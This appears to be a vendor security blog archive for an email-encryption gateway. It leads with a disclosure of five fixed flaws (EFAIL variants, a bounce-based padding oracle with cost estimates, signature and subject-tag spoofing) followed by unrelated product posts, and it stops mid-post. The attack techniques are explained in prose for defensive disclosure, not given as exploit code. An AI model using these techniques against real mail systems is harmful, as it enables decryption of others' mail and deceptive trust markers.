CipherMail Email Encryption - blog

Five vulnerabilities in CipherMail Gateway: EFAIL revisited, a bounce oracle, and trust-tag spoofing

2026-06-08T00:00:00+02:00

We recently received a detailed report from the Applied Cryptography Research Group at ETH Zurich describing several ways the CipherMail Gateway could be made to leak information about, or misrepresent the trust status of, the encrypted email it processes. While investigating their findings we identified a couple of closely related issues of our own. In total this resulted in five vulnerabilities, all of which are fixed in CipherMail Gateway 6.3.3.

None of these are remote code execution or key-recovery bugs — the attacker never gets your private key. Instead they belong to a family of attacks that has haunted email encryption for years: the attacker abuses the gateway's behaviour around decryption to either exfiltrate the plaintext indirectly, or to make an unprotected message look protected.

It is also worth noting that most of these attacks require the attacker to already possess an encrypted message addressed to the victim — for example one intercepted in transit, or recovered from a mailbox or archive — which they then manipulate and resend to the gateway.

This post explains each vulnerability, gives some real-world numbers for the most interesting one (a decryption oracle built entirely out of bounce messages), and ends with concrete steps you should take.

Note. CVE identifiers have been requested for all five issues and are pending assignment. This post will be updated with the CVE numbers once they have been assigned.

A quick EFAIL refresher

A quick recap, for anyone who wasn’t reading vulnerability blogs in 2018: the EFAIL attacks paper showed that S/MIME and OpenPGP messages can be turned into exfiltration vehicles — not by breaking the cryptography, but by reshaping the decrypted message so it tricks the recipient’s mail client (or a downstream URL-scanning security product) into making an outbound HTTP request that carries the decrypted plaintext along.

This is the part of EFAIL that often gets misunderstood, so it’s worth stating clearly:

EFAIL is not exploitable by the gateway on its own. Decrypting a message is not in itself a disclosure. The decrypted message only becomes an exfiltration channel when an external component acts on it — typically an HTML-rendering mail client that auto-loads remote images, or a security product that follows or rewrites URLs (Microsoft Defender for Office 365 Safe Links, Proofpoint URL Defense, and similar).

So the gateway sits in the middle. It can’t fix recipients' mail clients, and it can’t stop downstream URL scanners from doing what they do. But it can refuse to deliver a decrypted message that has the structural signs of having been reshaped by an EFAIL aacker. That is what the EFAIL filter shipped in 6.3.3 does.

If you have been with CipherMail for a while, you may remember an earlier EFAIL detection we added back in 2018, controlled by the Check for invalid 7bit chars and Abort decrypt on invalid 7bit chars options. Those options were opt-in — they were off by default — and they only covered the byte-level "non-readable characters in the decrypted output" signal. The new EFAIL filter supersedes them. It has stronger detection, an additional sanitization tier, and it is enabled by default. The two old properties have been removed

Three of the five issues below are EFAIL variants. The other two are about trust: making an unprotected message appear signed or validated.

S/MIME CBC EFAIL

S/MIME messages encrypted with a CBC-mode cipher (AES-CBC, 3DES-CBC) carry no cryptographic integrity check. An attacker who obtains an encrypted S/MIME message (intercepted in transit, pulled from a mailbox or an archive) can tamper with the ciphertext so that, after the gateway decrypts it, the decrypted message has been structurally reshaped — the victim's real plaintext ends up inside an attacker-defined HTML context. The gateway previously emitted the decrypted message as-is, with no defence against this manipulation.

The fix. CipherMail 6.3.3 introduces a two-tier EFAILFilter that runs on every decrypted S/MIME message:

Tier 1 — clean messages pass unmodified. When no tampering signal fires, the message is delivered unchanged so legitimate mail and downstream URL scanners are unaffected.
Tier 2 — suspicious messages are sanitised. When a tampering signal fires, every text/html part is passed through a strict OWASP allowlist that strips external resource references (only cid: images and mailto: links survive), and every http(s):// URL in text/plain parts is neutralised.

Detection combines a structural 7-bit check (non-7-bit bytes where CBC-gadget garbage lands), a "first-block density" check (a body part whose first bytes are dominated by random-looking non-7-bit bytes), a MIME nesting-depth limit, and a missing-Content-Type check. When sanitisation runs, the gateway records which checks fired in an audit header:

X-CipherMail-EFAIL-Filter: sanitized; checks="structural-7bit,first-block-density"

The legacy, opt-in smime-check-invalid-7bit-chars / smime-abort-decryption-on-invalid-7bit-chars properties — which were off by default, so out-of-the-box installations had no EFAIL defence at all — have been removed and superseded by smime-efail-filter-enabled, which is enabled by default.

OpenPGP EFAIL through spliced packet streams

A legitimate encrypted OpenPGP message is exactly one message: a single literal data packet, reached through an optional encryption layer and an optional compression layer. But OpenPGP packet streams can be concatenated, and that is the opening. An attacker can build a stream that decrypts to more than one message, in two relevant shapes:

Multiple literal data packets — several OpenPGP messages glued together, so decryption yields the attacker's plaintext directly concatenated with the victim's.
A cleartext packet alongside an encrypted packet in the same layer. The cleartext packet is attacker-controlled and is not encrypted, so it carries no MDC. Modification Detection Code enforcement therefore cannot catch it — the integrity check only covers the genuine encrypted packet — yet its output is still concatenated with the decrypted plaintext.

In both shapes the attacker ends up with a prefix or wrapper of their choosing fused to the victim's plaintext: an EFAIL exfiltration vehicle. Importantly, MDC does not save you against shape 2.

The fix. After decryption, the gateway now walks the OpenPGP layer tree and refuses to emit a spliced result. A legitimate layer holds exactly one content-producing packet (signatures are not counted, so ordinary signed-and-encrypted mail is unaffected). On a spliced shape the original ciphertext is delivered unchanged instead of the decrypted output, and the refusal is logged as the pgp-spliced-packets check. The shared EFAILFilter (HTML/URL sanitisation) is applied to decrypted PGP mail as well.

A decryption oracle built from bounce messages

This is the most interesting of the five, because it does not require the victim's mail client to do anything at all.

When the gateway decrypts an incoming message and that message later bounces, the bounce is addressed to the envelope sender (MAIL FROM) — which, for attacker-supplied mail, is the attacker. Two distinct leaks follow:

Plaintext disclosure. A bounce traditionally quotes the failed message. After decryption, that quoted content is the decrypted plaintext. A single bounce to an attacker-controlled sender can hand over the plaintext directly.
A decryption / padding oracle. While processing an encrypted message the gateway adds headers such as X-CipherMail-Info-SMIME-Encrypted: True. Whether (and how) these appear in a bounce tells the attacker whether a chosen-ciphertext message decrypted successfully. That single bit of feedback is exactly what a CBC padding-oracle attack needs.

What makes this hard to contain is that the bounce does not have to come from the gateway. A next-hop mail server — the internal mail store, a downstream relay, a mailbox provider — can independently bounce the message on any delivery failure (unknown user, mailbox full, quota, policy rejection), and those bounces are outside the gateway's control. Limiting bounce size on the gateway's own Postfix instance therefore helps, but cannot be the whole fix.

This is not a CipherMail-specific problem. The bouncing of decrypted content is inherent to how email encryption gateways work: any gateway that decrypts inbound mail and then hands the plaintext onward sits in front of mail servers that can generate non-delivery reports back to the envelope sender. Unless the gateway takes explicit steps to control where those bounces go, the same plaintext-disclosure and decryption-oracle exposure applies to email encryption gateways in general — not just to CipherMail. We describe how we address it below, but operators of any encryption gateway should consider the same class of mitigation.

Real-world numbers: how many bounces to decrypt a 1 MB message?

A CBC padding oracle recovers plaintext one byte at a time. For each byte the attacker brute-forces the value that produces valid padding, which takes on average about 128 oracle queries per byte (2⁸ ⁄ 2), and at most 256. Here, each "oracle query" is one crafted message sent to the gateway that produces one bounce the attacker can observe.

So the cost to recover plaintext scales linearly with its size:

Target	Plaintext bytes	Bounce messages (average)
One AES block	16	~2,000
A short secret (e.g. a 64-byte line / password)	64	~8,000
A full 1 MB message	1,048,576	~134,000,000

For a full 1 MB message that is roughly 134 million bounce messages on average (up to ~268 million worst case). Translated into wall-clock time, assuming the attacker can sustain a given injection rate:

Injection rate	Time to recover 1 MB
10 messages/second	~155 days
100 messages/second	~15.5 days
1,000 messages/second	~1.6 days

That sounds like a lot — and it is — but the attack is non-interactive and time-flexible. Spread over several months at, say, 50 bounces per second sustained, it finishes in about a month. The gateway operator would, of course, see an enormous volume of bounces, so the attack is loud. But "loud" is not the same as "infeasible", and against a target worth months of attacker effort it is well within reach.

The fix. CipherMail 6.3.3 closes the channel rather than trying to shrink it:

Envelope-sender rewriting for encrypted mail. The new RewriteSenderIfEncrypted mailet rewrites the envelope sender of a message that arrived encrypted to a controlled internal address. Any later bounce — from the gateway or a next-hop server — then goes to that controlled address instead of to the (possibly attacker-controlled) original sender. The original sender is preserved in an X-CipherMail-Original-Sender header for audit.
Encryption is tracked independently of decryption success. The runtime.incoming.encrypted attribute is now set whenever a message is detected as encrypted — including PGP messages the gateway could not decrypt (missing key, MDC failure). Previously a failed PGP decryption left the attribute unset, so the protection was skipped for exactly the chosen-ciphertext messages an oracle attack relies on.
Bounce body suppression. The gateway's Postfix configuration now sets bounce_size_limit = 1, so bounces it generates itself contain only headers, not the message body.

The envelope-sender rewriting is the primary control, because it is the only one that also neutralises bounces produced by next-hop servers.

PGP/INLINE mixed-content spoof via duplicate detached signatures

This one is about trust, not confidentiality. A PGP/INLINE message that combines a clear-signed body with multiple detached-signature attachments stacked over the same target file could be delivered with the Signed-Valid status set but the X-CipherMail-Info-PGP-Mixed-Content marker — and its subject tag — omitted, even though the message also carried sibling unsigned, attacker-controlled parts.

The cause was a non-idempotent integer counter: the mixed-content decision incremented for each unsigned handler and decremented for each detached signature whose target filename matched a sibling part. Two detached signatures resolving to the same visible file decremented the counter twice for one part's worth of content, allowing an attacker to cancel out the contribution of a separate unsigned part such as evil.txt. The attack requires the attacker's key to be in the gateway's trust store (i.e. they are a known correspondent) so that their signatures verify — but no private-key compromise.

The danger is that a recipient, or a downstream rule/archive/DLP pipeline, that treats "signed-valid and not mixed-content" as "the whole message is signed by a trusted sender" would be misled into trusting attacker-controlled content.

The fix. The integer counter has been replaced with set-based coverage tracking: a Set of the distinct MIME parts actually covered by a valid signature, and a separate set of the signature attachments themselves. Adding the same part twice is now a no-op, so stacked detached signatures can no longer cancel anything out. The mixed-content decision becomes "are there any visible parts left over that no valid signature covers?"

Subject-filter bypass via nesting or Unicode homoglyphs

The FilterSubject mailet lets administrators strip operator-defined markers (typically gateway-style security tags such as [signed], [signed and valid], [decrypted]) from incoming subject lines, so that only the gateway's own tags — added later, after real cryptographic validation — remain. It could be evaded two ways:

Nesting. A subject like [sign[signed]ed] was filtered in a single regex pass: the inner [signed] was removed, but the surrounding [sign + ed] re-formed a fresh [signed] that the filter never revisited.
Unicode homoglyphs. A subject containing a Cyrillic е (U+0435) instead of Latin e — [signеd] — is visually identical but byte-different, so it bypassed the regex entirely.

The consequence is a subject-line spoof: an external attacker could deliver a message whose subject displays a gateway-style trust marker ([signed and valid] Re: Wire transfer) even though the gateway never added it, deceiving recipients and any downstream rule that keys off the subject string. There is no plaintext disclosure here; the impact is on the integrity of the displayed trust status, which is why this is rated Medium.

The fix. FilterSubject now applies two complementary passes:

Fixed-point recursion — the filter is re-applied until the subject stops getting shorter, which eliminates nested-marker bypasses while remaining safe against pathological replacement patterns that grow the string.
A confusable-aware pass — after the standard regex runs, the filter is re-applied through a new ConfusableAwareFilter that folds both the subject and the pattern through the ICU confusable-skeleton transformation, so Cyrillic/Greek/fullwidth look-alikes match their Latin counterparts. As a follow-up hardening we also drop invisible and bidirectional control characters (zero-width spaces/joiners, the BOM, the soft hyphen, and right-to-left overrides) before folding, closing the related trick of splicing an invisible character into a marker.

As always: subject tags are cosmetic. The authoritative signal that a message was really signed or encrypted is the set of X-CipherMail-Info-* headers, and any automated decision should be based on those, not on the subject string.

What you should do

1. Upgrade to CipherMail Gateway 6.3.3 or later. All five issues are fixed there, and the EFAIL filters and splice/coverage checks are enabled by default — no opt-in required.

2. Stop bounces of encrypted mail from reaching external senders. This is the single most important configuration step, and it is what closes the bounce oracle described above. Rewrite the envelope sender of an encrypted message to a controlled internal address.

Enable it per recipient (at the global, domain or user level) by setting.

From the CLI

Use the following properties:

rewrite-sender-if-encrypted → true (default is false)
sender-if-encrypted → the internal address that bounces of encrypted mail should be redirected to, e.g. encrypted-bounces@example.com. This must be set for rewriting to take effect.

From the UI

See the Rewrite Sender If Encrypted and Sender If Encrypted settings from the General settings tab.

With these in place, when a message that arrived encrypted later fails to deliver — whether the failure happens on the gateway or on a next-hop server beyond it — the bounce goes to your monitored internal mailbox instead of back to the original (possibly attacker-controlled) sender. The pre-rewrite sender is preserved in X-CipherMail-Original-Sender so you can still see who the message claimed to be from. Point sender-if-encrypted at a mailbox somebody actually watches, because that is now where delivery failures for encrypted mail will land.

3. Leave the EFAIL filters enabled. smime-efail-filter-enabled and pgp-efail-filter-enabled are on by default. Only disable a filter for a recipient who you are certain is never exposed to an HTML-rendering client or a URL-following security scanner. If you previously relied on the old smime-check-invalid-7bit-chars / smime-abort-decryption-on-invalid-7bit-chars properties, remove them from your configuration — they have been replaced.

4. Use the subject filter to scrub spoofed trust tags. For recipients where you care about this, set subject-filter-enabled → true and configure subject-filter-regex to match the gateway-style tags you want removed. The same patterns that previously matched [signed] now also catch [sign[signed]ed] and the homoglyph/invisible-character variants automatically — no change to your existing regex is needed.

5. Do not trust subject tags for automated decisions. Anywhere you have a mail-client rule, archive policy or DLP/SOC pipeline that keys on subject-line trust markers, switch it to consume the X-CipherMail-Info-* headers instead. Subject tags are best-effort cosmetics; the X-CipherMail-Info-* headers are the authoritative record of what the gateway actually verified. Where a downstream rule consumes X-CipherMail-Info-PGP-Signed-Valid, make sure it also requires the absence of X-CipherMail-Info-PGP-Mixed-Content before treating all parts of a PGP/INLINE message as covered.

6. Prefer authenticated encryption where you can. For newly sent S/MIME mail, prefer AuthEnvelopedData (AES-GCM) over CBC modes — authenticated encryption rules out the ciphertext tampering at the heart of the S/MIME CBC EFAIL issue. Note this protects mail going forward only; already-existing CBC ciphertext stays malleable, which is why the receiving-side EFAIL filter remains necessary. For OpenPGP, keep MDC checking enabled — remembering that MDC alone does not stop the cleartext-splice shape, which is why the structural splice detection described above is also required.

Customers with a support contract who would like help upgrading or applying this configuration are welcome to contact us.

Note on CipherMail Gateway version 5. These fixes are not applied to version 5 of the CipherMail Gateway. Customers with a support contract who, for whatever reason, cannot upgrade are welcome to contact us to discuss further options.

Credits

We would like to thank Andris Suter-Dörig, Matteo Scarlata, and Prof. Kenny Paterson from the Applied Cryptography Research Group at ETH Zurich for reporting these issues to us responsibly and for the detailed, constructive disclosure that made the fixes straightforward to design.

References

EFAIL — Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels (Poddebniak et al., USENIX Security 2018), https://efail.de
Original EFAIL identifiers: CVE-2017-17688 (OpenPGP), CVE-2017-17689 (S/MIME)
RFC 5751 — S/MIME 3.2 Message Specification
RFC 4880 — OpenPGP Message Format
Unicode Technical Standard #39 — Unicode Security Mechanisms (confusable detection), https://www.unicode.org/reports/tr39/

No Spam Proxy GCM Bug

2026-02-09T00:00:00+01:00

When S/MIME GCM Goes Wrong: “mac check in GCM failed” with No Spam Proxy

We recently received two bug reports where a CipherMail Gateway was unable to decrypt an incoming S/MIME message. In both cases the failure was caused by an integrity check error during decryption:

javax.crypto.AEADBadTagException: mac check in GCM failed

Both messages originated from No Spam Proxy.

The odd part: “Same email,” different outcome

The affected customer had just upgraded from CipherMail v5 to v6. Before the upgrade, they had exchanged encrypted mail with the same external sender without any issues.

What made this case especially confusing:

The customer received two separate emails with the same Message-ID
One was delivered to a To: recipient, the other to a CC: recipient
One message decrypted successfully, while the other, apparently “the same” message, failed with the GCM MAC/checksum error

Why the error points to GCM

“mac check in GCM failed” typically means the authentication tag validation failed during AES-GCM decryption. In other words: the ciphertext’s integrity protection did not validate, so the decryptor correctly refuses to output plaintext. Galois/Counter Mode (GCM) is widely used and well established, but its use in S/MIME is comparatively newer than classic AES-CBC-based S/MIME encryption.

CipherMail v5 vs v6: the key difference

CipherMail ≤ v5 did not support S/MIME with AES-GCM by default (there was a patch, but it wasn’t part of the standard product build).
CipherMail v6 introduced full support for S/MIME GCM.

That matters because S/MIME messages can include (and clients/gateways often learn) capabilities, i.e., which algorithms a party supports. If a system learns that a recipient supports AES-GCM, it may prefer it over older modes like AES-CBC.

What likely happened: algorithm selection per recipient

Based on the behavior, the most plausible explanation is:

While running CipherMail v5, the gateway did not advertise GCM capability.
No Spam Proxy therefore continued to use AES-CBC, and everything worked.
After upgrading to CipherMail v6, No Spam Proxy learned (via signed mail and capability information) that some recipients now support AES-GCM.
No Spam Proxy then started using AES-GCM for certain recipients, but still used AES-CBC for others (depending on which capabilities it had already observed per user).

Because a single S/MIME encrypted payload can’t be both CBC and GCM at the same time, No Spam Proxy likely split the delivery into two messages (hence the same Message-ID appearing twice), encrypting each copy using the algorithm it believed matched the recipient’s capabilities.

Reproducing the issue: it depends on No Spam Proxy version

Our first assumption in interoperability issues is always: we might be doing something wrong. That’s also the easiest kind of problem to fix.

To diagnose this properly, we needed to reproduce it with messages encrypted to a keypair we control. That required setting up No Spam Proxy and running controlled tests with GCM.

With a modern No Spam Proxy setup, GCM decryption worked.
But the customer reports were consistent, and happened twice, so we suspected a version-specific issue.

We then tested the last No Spam Proxy 14.x release (14.2) and were able to reproduce the failure. That strongly suggested the problem had been fixed somewhere between 14.2 and 15.7.

The smoking gun: “bad mac” fixed in No Spam Proxy 15.5

Once we knew it was likely a fixed bug, we found an item in the No Spam Proxy release notes (fixed in 15.5):

43883 Behebung des „bad mac“-Fehlers bei aes-gcm-Verschlüsselung.

(“Fixing the ‘bad mac’ error in aes-gcm encryption”)

Source:

https://docs.nospamproxy.com/Server/15/Suite/de-de/Content/release-notes/nospamproxy-server-15-5-0-1377.htm

The note doesn’t specify whether it affects TLS, S/MIME, or another subsystem, but the symptoms match.

Is it only CipherMail interoperability? We checked OpenSSL

To rule out a “CipherMail-only” edge case, we also tested whether OpenSSL could decrypt the same messages:

Email produced by No Spam Proxy 15.7: decrypts successfully with OpenSSL
Email produced by No Spam Proxy 14.2: fails to decrypt with OpenSSL

$ openssl cms -decrypt -inkey testCertificates.pem -in nsp-14_2-aes-256-gcm-encrypt-only.eml

Error decrypting CMS structure 40C75158277F0000:error:06800079:asn1 encoding routines:asn1_item_embed_d2i:field missing:../crypto/asn1/tasn_dec.c:465:Field=num, Type=asn1_oct_int 40C75158277F0000:error:0680006E:asn1 encoding routines:ASN1_item_unpack:decode error:../crypto/asn1/asn_pack.c:59: 40C75158277F0000:error:0680006D:asn1 encoding routines:ossl_asn1_type_get_octetstring_int:data is wrong:../crypto/asn1/evp_asn1.c:183: 40C75158277F0000:error:0300007A:digital envelope routines:evp_cipher_asn1_to_param_ex:cipher parameter error:../crypto/evp/evp_lib.c:215: 40C75158277F0000:error:17000066:CMS routines:ossl_cms_EncryptedContent_init_bio:cipher parameter initialisation error:../crypto/cms/cms_enc.c:103:

That strongly indicates the older No Spam Proxy versions generated AES-GCM S/MIME that was not generally interoperable, even with the de-facto baseline toolchain.

What to do if you hit this

If you see decryption failures and your logs contain:

mac check in GCM failed

…and the sender uses No Spam Proxy, the fix is on the sender side. There are two practical options:

Upgrade No Spam Proxy (recommended; the issue appears resolved in 15.5+), or
If they cannot upgrade, configure a partner/domain setting in No Spam Proxy and explicitly force AES-128 (compatible) (i.e., AES-CBC) for that partner domain.

This avoids AES-GCM entirely for that delivery path and restores compatibility with gateways that would otherwise receive broken GCM-encrypted S/MIME.

SMTP Smuggling - Spoofing E-Mails Worldwide

2023-12-22T00:00:00+01:00

SEC Consult Vulnerability Lab, Timo Longin discovered a novel exploitation technique for SMTP (Simple Mail Transfer Protocol).

Basically, the vulnerability exploits differences between smtp servers on how they handle non-standard end-of-message sequences.

To exploit the vulnerability, two mail servers with different handling of non-standard end-of-message sequences are required.

The exploit makes it possible to smuggle/send spoofed e-mails.

CipherMail Gateway/Webmail uses Postfix for delivering email.

If Postfix receives an email from a vulnerable SMTP server, Postfix will deliver the "smuggled" email as a separate email.

To stop Postfix from accepting the "smuggled" email, unauthorized pipelining should be disabled.

To disable unauthorized pipelining, the following parameter should be added to Postfix main config:


smtpd_data_restrictions = reject_unauth_pipelining

This can be added from the CipherMail GUI (Admin -> MTA -> Config -> MTA config file)

Then add the above smtpd_data_restrictions line to the end of the config file and apply.

Alternatively, the Postfix main configuration file can be directly edited from the command line:


$ sudo vim /etc/postfix/main.cf
$ sudo systemctl restart postfix.service

For more information see:

https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

https://www.postfix.org/smtp-smuggling.html

Please contact us if you need more information.

CipherMail Gateway and Webmail Messenger are not impacted by the Log4j vulnerabilities

2021-12-12T00:00:00+01:00

Friday morning we were notified that Log4j, a popular Java logging library, contains a critical vulnerability that can result in Remote Code Execution (RCE) when a certain attacker-controlled message gets logged. As we use Log4j in CipherMail Gateway and Webmail Messenger, and the vulnerability appeared to be trivial to exploit, we immediately began analyzing whether our products were impacted. Later that morning we were quite confident that this was not the case. It turns out that the Log4j version in use by CipherMail products is not impacted by this vulnerability.

This means that CipherMail Gateway and Webmail Messenger are not vulnerable to CVE-2021-44228. However, the Log4j version used has been assigned another CVE ID around the same time for a less critical vulnerability that works much like the aforementioned: CVE-2021-4104. Because this version has not been supported for quite some time, we have decided to update the Log4j library in our products to the most recent version. This work is now almost finished and we will release updated packages soon.

It should be noted that, while the old Log4j library now contains multiple known vulnerabilities like CVE-2021-4104, we are confident that they pose no or very limited risk to users and customers of CipherMail products. This is due to mitigating factors in the CipherMail source code like certain configuration settings or the way in which the library is used. We too have been spooked somewhat by the Log4j vulnerability and are now prioritizing other library updates as well. This is a lot of work for some libraries, but if a Log4j-like vulnerability is discovered again that does impact CipherMail users and customers, we will be quick to update. Again: we are confident that CipherMail products are not impacted by any known vulnerabilities, but we are improving our preparedness to make sure that our overall security response will be adequate when needed.

If you have any questions or suggestions regarding the security of our products, please don't hesitate to contact us.

UPDATE December 15, 2021: added some background information and intentions on updating Log4j and other library versions that are no longer supported.

HTML email is now fully supported by the PDF encryption module

2021-12-03T00:00:00+01:00

Before discussing the new HTML feature, first a quick overview of the PDF encryption functionality provided by CipherMail gateway and Webmail Messenger.

PDF messenger

With the PDF encryption module (PDF Messenger), the complete email, including all attachments, is converted into a password-protected PDF. The password-protected PDF is then sent to the recipient. The recipient can open the PDF using a standard PDF reader.

PDF messenger is an easy-to-use alternative to S/MIME or PGP encryption because the recipient only needs a PDF reader. PDF messenger supports different methods of getting the password to the recipient:

Use a pre-defined static password.
Randomly generate a password. The password will be sent back to the sender of the message.
Randomly generate a password. The password will then be sent by SMS Text to the recipient.
Generate a one time password (OTP).
Sender specified password.

![PDF messenger]({static}/images/ciphermail-pdf.svg)

PDF messenger features

The PDF is encrypted with AES128.
Attachments are embedded within the encrypted PDF.
The original email can be attached (as .eml file)
The recipient can reply by clicking the reply button.
Full Unicode support.
HTML email is supported, including embedded images [new]
PDF template is fully configurable [new]

HTML support

Previous releases of PDF messenger only supported text based emails. If the email contained a text part, the text part was used. If the email did not contain a text part, the HTML part was converted to text.

Since version 5.1.3 of the Gateway (professional edition) and version 4.1.3 of Webmail Messenger, HTML email is now fully supported. The encrypted PDF now contains all markup and all inline images. The encrypted PDF looks exactly like the source email.

The template for the encrypted PDF is fully configurable. This allows you to match the corporate identity.

To give you an example of how the new PDF with HTML support looks like compared to the text only version, we have included two screenshots of the encrypted PDF. One as generated by the Gateway professional (which has support for HTML parts) and the other was generated by the community edition (which has only support for text parts). Both were generated using the same email.

Clearly, the HTML supported version is much more appealing.

Encrypted PDF with HTML support

![Encrypted PDF professional edition]({static}/images/encrypted-pdf-professional-edition.png)* Encrypted PDF with HTML support *

Encrypted PDF with only text support

![Encrypted PDF community edition]({static}/images/encrypted-pdf-community-edition.png)* Encrypted PDF with only text support *

Future developments

We are working hard on providing additional features for PDF messenger. Some of the features we are currently working on:

Digital signing of the encrypted PDF.
Provide an Android and IOS app which can be used to generate the password for the PDF (using the HOTP algorithm).

Automating CipherMail deployments

2021-07-05T00:00:00+02:00

![Ansible logo]({static}/images/ansible-logo.svg)

We have put a lot of effort in making it easy to install and manage CipherMail Gateway and Webmail installations. Still, installing and updating these installations is a manual task, and the amount of work needed is multiplied by the number of CipherMail installations the customer is operating. A customer operating both a three-node Gateway and a three-node Webmail installation (like we do ourselves) needs to install and maintain at least six machines, possibly more when using load balancers and mail servers in front of the clusters. Managing that in the traditional way is a lot of manual work. In our previous blog post we briefly mentioned that we were working on automating these tasks. I am happy to say that we managed to get there, and since CipherMail Gateway 5.0 and Webmail Messenger 4.0, the installation and update mechanisms are highly automated using the Ansible automation framework.

Ansible was the logical choice for us. Ansible is supported by Red Hat, and our virtual appliance images are based on Red Hat Enterprise Linux. We are even a Red Hat Independent Software Vendor! We have been using Ansible since version 2.7 for managing our IT infrastructure, and since our infrastructure is based on the Debian GNU/Linux operating system, we have been using the DebOps roles and playbooks from the start. DebOps is an awesome collection of highly integrated Ansible roles and playbooks for Debian-based server farms. You should check it out! It has greatly helped us automate virtually everything in our IT infrastructure and continues to be actively maintained by a dedicated community.

The roles and playbooks we wrote for automating CipherMail deployments are not based on DebOps, however. The most important reasons for this are license incompatibilities and the fact that DebOps was made for Debian-based systems, not Red Hat Enterprise Linux. So we did everything ourselves. It is now possible to take a clean RHEL 8 installation, set up the CipherMail RPM repository and install the packages, and run the playbook. Ansible handles the rest. Installing a cluster is now many times simpler and faster than before: just add all cluster nodes to the Ansible inventory and run the playbook on just one of the hosts. Ansible will configure the others over SSH. Updates are even easier, just update any CipherMail package using DNF/YUM and the playbook will kick off automatically.

If you are interested in a demonstration of the new automation system, don't hesitate to contact us.

Eating our own dog food

2020-07-16T00:00:00+02:00

This posting is a bit different from the usual articles on our blog. Instead of telling you how you can use CipherMail to protect your email, this article will give some insight in how we use our products ourselves as a way of quality control and testimonial advertising. It's called eating our own dog food, after the president of a pet food company who was said to eat his own dog food at shareholder meetings.

We’ve been telling our customers for a long time how they should implement the CipherMail Email Encryption Gateway in their existing email infrastructure. Our usual advice is to use a hairpin design where mail flows in through the existing mail server, gets forwarded to the CipherMail Gateway which does all the cryptographic operations, before returning it to the same mail server for delivery. We’ve been recommending this method since at least December 2010:

So that’s how we recommend it to most of our customers, but we haven’t been using it ourselves this way until a few weeks ago. We did use CipherMail Gateway (and also Webmail) however, but more in a ‘pipeline’ configuration where outgoing mail was sent from mail server → gateway → Internet and incoming mail was received from Internet → gateway → mail server. The downside of this approach is that it makes both the gateway and the mail server responsible for spam filtering, the former for incoming and the latter for outgoing mail. There is also no central point where mail is queued or access control is handled.

So we didn’t use the hairpin method, but we also didn’t use a clustered setup for any of our mail system components. And when you decide to eat your own dog food, you better present it as a grand buffet.

Our new clustered email system is spread out over three data centers and consists of these components:

Virtual machines (KVM, libvirt, Azure)
Four LDAP servers (OpenLDAP)
Two mail servers (Postfix, Dovecot, Rspamd)
Two HTTP load balancers (NGINX)
Three CipherMail Gateway nodes
Three CipherMail Webmail nodes

We cheated a little here as the third data center is only used for MariaDB Galera arbitrating. The Galera databases of the Gateway and Webmail nodes need an uneven number of MariaDB servers to achieve quorum, which is essential to the voting system used to maintain database consistency.

We turned to the DebOps project for the orchestration of the whole setup. DebOps is a set of free and open source tools for managing Debian-based data centers, and is founded on the Ansible configuration management system. We have been using DebOps to automate almost everything in our IT infrastructure over the course of the last eighteen months.

We use the libvirt API and virt-manager to manage virtual machines. The libvirt daemon, as well as network and (NFS) storage configuration, is managed by the debops.libvirtd and debops.libvirt roles. Using NFS for shared storage between our hypervisors makes live migrations possible, which allows for hypervisor maintenance without downtime. The virtual machines at Azure are managed with a custom Ansible role.

The LDAP cluster uses multi-master replication as provided by the debops.slapd role. It stores things like users, groups, service accounts and domain names and is extensively used by our mail servers. The information in our LDAP database defines which mailboxes are present on our servers, which credentials are needed to access them, what email addresses a user is allowed to send mail from, where (group) mail should be forwarded to, and which automated systems are allowed to relay mail through our servers.

Our two mail servers are managed with the Dovecot and Postfix roles that are part of DebOps. We wrote a custom role to manage the Rspamd filter.

We made a few customizations to the Postfix roles in the form of Ansible inventory variables that define additional configuration options. These are the content filter (which forwards all mail to the CipherMail Gateway nodes after queueing) and the services responsible for receiving mail from CipherMail Gateway and Webmail. These services, the so-called re-injection ports, accept all mail from the Gateway and Webmail nodes, but have the content filter configuration removed to ensure that mail is actually delivered this time and an infinite loop cannot occur.

The Dovecot role is amended with sieve mail filtering support (think automated mail sorting and out-of-office messages) as well as mail replication through dsync. These modifications were possible without having to change the underlying DebOps role, again thanks to the role flexibility and Ansible inventory variables. Mail replication with dsync is especially useful as it makes your IMAP server highly available. There is little configuration required and works without any maintenance once it’s set up. CipherMail Webmail also uses dsync to sync mail between cluster nodes.

The HTTP load balancers are nothing fancy, just two NGINX servers that perform load balancing for https://webmail.ciphermail.com/. We went with the debops.nginx role for this because of its completeness and ACME (Let’s Encrypt) support, which also works when you use two NGINX servers. The ip_hash load balancing method ensures that clients always end up using the same Webmail node (unless that node is not available). This is important because otherwise sessions and attachment uploads might break, as these are not replicated between CipherMail Webmail nodes.

CipherMail Gateway and Webmail, while easy to use and straightforward to configure both standalone and in a cluster setup, currently do not come with a ready-to-use automation system. This makes installation and maintenance less efficient than it could be. Actually installing, maintaining and using our own CipherMail clusters brought this to light, and we are now exploring ways to make use of automaton tools in our products so that installations and upgrades are as simple as running an Ansible playbook, and whole clusters can be deployed in one go.

Putting everything together, our current email infrastructure looks like this:

This may be overkill if you consider the amount of email we actually process with this setup, but we consider it necessary in order to better test and improve the software we write, as well as demonstrating confidence in the solutions we provide to our customers. We are eating our own dog food.

If this article made you interested in our products, please contact Us for a demo, or try out the open source community edition yourself. You can find more information about DebOps and its awesome community on the documentation website as well as the GitHub repository. The custom roles that we wrote and are currently integrating with DebOps can be found on our GitLab page.

CipherMail CVE-2020-12713 & CVE-2020-12714

2020-05-28T00:00:00+02:00

On April 30th we received notice from Pablo A. Zurro on behalf of Core Security that they found two vulnerabilities in CipherMail Gateway and Webmail Messenger. We subsequently found a third vulnerability that was related to weak Diffie-Hellman parameters. These issues have now been resolved. This blog article will provide some background information about the vulnerabilities.

Postfix main configuration

The first vulnerability involves the MTA configuration page. The CipherMail software allows an administrator to change the MTA configuration. Specifically, the administrator can change the Postfix main configuration file (main.cf). Postfix supports numerous settings in its configuration files. The CipherMail software makes it easy to configure the most important settings, like relay domains. These settings are validated before being applied.

In a more advanced setup, it might be desirable to change additional settings that are not covered by this system. To support this, the software provides a configuration page where the raw Postfix configuration file can be edited. This gives the administrator full control over the Postfix installation.

The vulnerability reported by Core Security is that an administrator can add code to the Postfix configuration file which will be executed as root after Postfix reloads the configuration file. This would elevate the privileges of the administrator from having only access to the web interface, to having full root access to the whole system. You can read the Core Security advisory for a more detailed explanation.

The fix

